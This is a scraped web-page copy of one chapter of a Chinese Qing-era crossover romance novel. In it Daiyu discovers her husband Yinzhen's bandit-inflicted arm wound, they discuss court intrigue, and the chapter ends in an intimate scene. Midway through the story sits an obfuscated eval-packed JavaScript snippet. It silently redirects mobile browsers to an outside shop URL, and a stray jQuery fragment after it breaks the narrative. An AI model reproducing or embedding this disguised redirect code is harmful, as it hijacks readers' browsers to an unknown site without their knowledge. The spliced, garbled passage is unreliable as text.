文趣网 > 其他小说 > 黛玉撒娇四福晋[清穿+红楼] > 38. 第 38 章
    胤禛长长叹了一口气:“这便是你一路赶下来的真正原因吧?”

    他方才不敢细问,不就是玉儿这一趟实在来得太急,他还没想好周密的“谎言”。

    到底是叫妻子一下就拆穿了。

    连叫他露出破绽的“故事”都准备好了。

    她这一路能赶来,不叫他得知半点,同自己瞒着她许久不想让她担心,何尝不是一致?

    黛玉慢慢将他的袖子往上掀。

    胤禛一开始轻轻按住她的柔荑,到底还是移开了。

    黛玉的动作变得更慢了。

    她怕他疼。

    在看到半个胳膊缠得厚厚的绷带时,她的眼泪愈发磅礴:“这就是你不再给我写信的原因?”

    “不是还送了字嘛……”

    胤禛也有些后悔。

    水匪来袭,他虽有部署,到底强龙压不过地头蛇。

    为了救下一个乱跑的船工孩子,拿惯用右手去挡了悍匪的大刀。

    若非有人在后方拖着那匪徒,叫他偏了方向。

    那一刀下来就不只是差点见骨,而是要断了他的手……

    经医治,扎心疼的劲开始上泛的时候,他想着,这下坏了。

    不是后悔不该救那孩子,而是当时该换左手才是。

    这下伤了右臂,就是一应文书还能叫苏培盛朱笔按照他的意思画个圈圈叉叉。

    但就不能再给福晋好好写信了。

    她定能看出字体的异样,叫她察觉自己在外有异。

    便是叫能模仿字迹的人代而写之……绝不!

    胤禛决不能容忍他们夫妻二人的私密叫旁人得知。

    黛玉缓缓开口:“那字的墨迹早干涸了,定然不是你最新所作。”

    “爷是不是想叫我觉得,你近来事忙,才会无心送信,也不得闲练字。”

    胤禛点头:“福晋聪慧。”

    黛玉继续道:“但又怕我忧心,还是想办法让人送了那新鲜的荔枝树进京。”

    “荔枝鲜润清甜,古来贵妃喜爱,想来玉儿也当喜欢。”胤禛笑着解释。

    他吃到荔枝的第一口,便忍不住,千方百计又仔细叮嘱,将那荔枝树送到福晋面前。

    黛玉的语气有些无奈:“那爷到底是想让我觉得你忙还是不忙?”

    四阿哥这般互相矛盾,黛玉就算人在千里之外,又怎么可能没有发现。

    “果然,我还是不擅长撒谎。”胤禛抬头,挤出一抹微笑,打着哈哈。

    向来清冷、不苟言笑的夫君,自个受了伤,还想着法子逗她开心。

    看来,是真被她今天的眼泪吓着了。

    黛玉看着半空中,“簌簌”进水的泪杯,犹如潺潺小溪。

    +5+3+2……数量不停上涨。

    一时找到了从前在贾府的一点点还泪感觉,黛玉没有现在就刹住眼泪的打算。

    熟练抽抽搭搭地讲起,她将荔枝树交由德妃敬献给皇帝,后又被毓庆宫传召的事。

    听见太子的名字,胤禛有一瞬间的怔忪,转瞬又有一丝了悟。

    黛玉隔着泪眼朦胧却也看出来了,心想,原来未来的雍正大帝这么早就意识到,他和太子之间……并不太平。

    康熙为仿汉室,早立太子威名,一岁的小胤礽在宫中,在他之下者,满朝文武,后妃宫人,便是兄弟手足也要行跪拜之礼。

    除皇长子胤褆心有不服,又被皇帝特意扶持成为磨刀石同胤礽成掎角之势外。

    其余阿哥弟弟们,看着太子地位如日中天,在常年被打压之中,早已逐渐温顺。

    在太子一废之前,甚少有阿哥爷对龙椅生出觊觎之心。

    因此,大多数人都认为,能造成九子夺嫡如此惨烈的很大一部分成因,在于康熙对皇权近乎变态的控制之心,摇摆不定,更甚者蓄意不定。

    胤禛这时候,对太子又会是何心思?

    这一番思索正事,看见泪杯也停止了流动,黛玉这才轻轻抹干脸上的泪。

    “所以,你知道后,就第一时间赶来了?”四阿哥跳过了解析太子心态的步骤,仍是满眼心疼看着妻子。

    他是弟弟,不得妄议太子哥哥。

    若太子能够这么快得知他受伤的消息,显然这一路的队伍里,有胤礽的内应。

    自然,其余势力也会想办法安插人手进来。

    四阿哥出门在外非常缺人手,在这个时候无法清除内奸,便只能“扮演”好他的角色,不叫他人找到漏洞,回去参他一本。

    “爷说得不错,这荔枝当真是鲜物,难怪叫古人如此垂涎,写下千古诗篇。我自己过来,也能吃个痛快不是。”黛玉轻快语气说着俏皮话。

    胤禛笑了。

    福晋再次懂了他。

    不能似在家中那般随意谈论,那二人便只能儿女情长了。

    胤禛想到这几日的为难之处,面飞红霞:“这泉州府温热潮湿,福晋一路过来,难为你了。”

    风光甚妙,但路途遥远,折腾难免。

    黛玉知道,自己成为四福晋之后,虽成功掌了一府主权,只是往后怕也是再难离开京城了。

    康熙酷爱巡游,皇子们尚且被天子挑挑拣拣跟随,作为皇家儿媳,更是甚少有出京的机会。

    便是跟着天子的队伍北上避暑等,周遭都是皇城里的人,处处都有眼睛看着,自然也不及自己这趟出游的自由。

    黛玉心态上是自由自在的鸟,自然不会觉得那些路途颠簸难受。

    但她上下打量了四阿哥一番。

    胤禛这一路都是公务,任务繁重不提,私底下更是不可能安眠得好。

    这一遭受了伤,就更是不顺了。

    苏培盛

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666519|204563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一心惦记着主子爷的伤势,一直拒绝主子的洗漱要求。

    胤禛想痛快洗个澡,都叫苏培盛以大夫不叫沾水,只是每次殷勤为主子擦拭身子。

    洗干澡,在北方干燥的环境里,胤禛偶尔还能接受。

    到了南方,他感觉身上都是水汽,压得他身上都快发霉了,极难适应。

    “不怕福晋笑我,我感觉自己都要馊了……”

    黛玉见状就要上前。

    胤禛愈发难为情,轻轻一点她的额头:“就不敢叫福晋的鼻子受罪了。可恨那苏培盛,不肯为我抬水。”

    “能不能劳请福晋辛苦一趟?”

    黛玉了悟,在心里算了算时日,这才点头:“那是自然。”

    “爷请稍候。”

    出门,让苏培盛安排大夫就在旁边,等待四阿哥洗净后立刻换药。

    又叫烧上热水……

    胤禛着实有些心急:“午时太阳晒得水热,直接抬进来便是。”

    黛玉不搭理他,仍是缓缓布置。

    又咨询大夫意见,添加了缓解疼痛的草药。

    一炷香的功夫过去了,胤禛才如愿躺进了大浴桶里,正想舒服喟叹一声,才见水位都只到他的腰上。

    手也被死死绑在浴桶外头。

    福晋也没比苏培盛大胆到哪里去。

    行吧,他不发臭就行。

    否则,岂不是更加爬不上妻子的床。

    苏培盛哼哼唧唧,还是小心仔细为主子爷的每一寸肌肤清洗。

    神清气爽,胤禛出了浴间,看见妻子手中捧着几件男式长衫。

    福晋最喜书文,不是看书便是写字,再有对弈,绣花并不常见。

    “玉儿细致,连我的衣裳都备着了。”

    黛玉才道:“我提前让绣娘改了爷一些旧衣裳的右手袖子,弄成了绑带样式,既方便爷日常行动,大夫也好给你换药。”

    “就是原本不知具体伤势,得挑一挑哪件的隔断长度更适宜些。”

    胤禛听了,此刻心软得一塌糊涂。

    记得他的口味,烹出他最心仪的茶,又能如此妥帖为他受伤之时着想。

    便是苏培盛从小照料,却也不及妻子的这一份玲珑心思。

    原本这次小别,便更胜新婚。

    情意上涌,叫胤禛不再忍耐,左手捞上妻子的腰,倾身低头,吻上她那迷人、娇嫩的唇。

    黛玉手中的衣裳滑落。

    胤禛拥得更紧,不叫她弯腰去捡。

    双双躺在罗汉榻上……

    黛玉先是领了丈夫的情意,无声配合着。

    只是吻得动情处,手上却没有动作。

    黛玉睁开眼,见胤禛的左手默默在同她的蝴蝶盘扣在做斗争。

    微微一笑,起身,东风压倒西风,她妩媚道:“爷躺着,还是我来吧!”